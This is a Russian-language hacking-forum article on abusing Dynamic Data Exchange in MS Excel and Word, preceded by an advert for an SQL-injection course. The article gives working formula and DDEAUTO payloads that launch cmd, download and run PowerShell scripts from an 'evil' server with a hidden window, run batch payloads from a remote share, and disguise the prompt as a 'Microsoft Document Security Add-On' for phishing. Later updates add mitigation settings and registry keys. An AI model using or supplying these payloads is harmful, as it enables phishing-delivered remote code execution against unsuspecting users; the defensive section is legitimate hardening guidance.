• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья DDE в MS Excel (обновляем)

Всем привет! Решил немного написать о реализации DDE в MS Excel.
В этой теме был был предложен вариант для MS Word, он и стал отправной точкой для изучения схожей уязвимости MS Excel.
DDE - Dynamic Data Exchange. Полный список команд DDE вы можете найти

По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 - номер ячейки.

=cmd|'/c calc.exe'!A1


Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.

Первая часть пейлоада =cmd|' дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)
dde test exel 01 warn.JPG

Во втором сообщение мы видим предупреждение о запуске cmd - что есть палево.
dde test exel 02 warn.JPG
Калькулятор запустился
dde test exel 03.JPG

Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.

Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\" ");IEX $e'!_xlbgnm.A1

С помощью функции DownloadString наш Powershell парсит строку по адресу , и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:
dde test exel 041.JPG


Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire

=cmd|’/c \\evilserver.com\empire.bat;IEX $e’!A1


PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.
Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали "ок" -> "ок" -> "далее" бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word - Дополнительно - (раздел Общие) - Автоматически обновлять связи при открытии (снять галочку)
dde aouto off.JPG
После этого DDE не будет обработан.

Для Excel хуже.
Первый способ мягкий:
dde auto off excel.JPG

Параметры Excel - Дополнительно - (раздел Общие)
- Запрашивать об обновлении автоматических связей (поставить галочку)
- Игнорировать DDE запросы от других приложений (поставить галочку)
dde auto off excel.JPG

Результат- будет хотя бы уведомление
dde excel after fix.JPG
Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel - Центр управления безопасностью - кнопка "Параметры центра безопасности" - Внешнее содержимое -
- Отключить все подключения к данным
- Отключить автоматическое обновление связей в книге

Результат - все дде блочатся напрочь
dde auto off excel3.JPG
ПС:
Еще это можно сделать через реестр

Код:
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options]
"DontUpdateLinks"=dword:00000001
"DDEAllowed"=dword:00000000
"DDECleaned"=dword:00000001


Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:



EXCEL
Код:
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c \\evilserver.com\sp.bat;IEX $e'!''

Word

Код:
  { DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://server.com/evilscript.ps1'); # " "Microsoft Document Security Add-On" }


Тогда окно станет более безобидным:
Phish.JPG
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!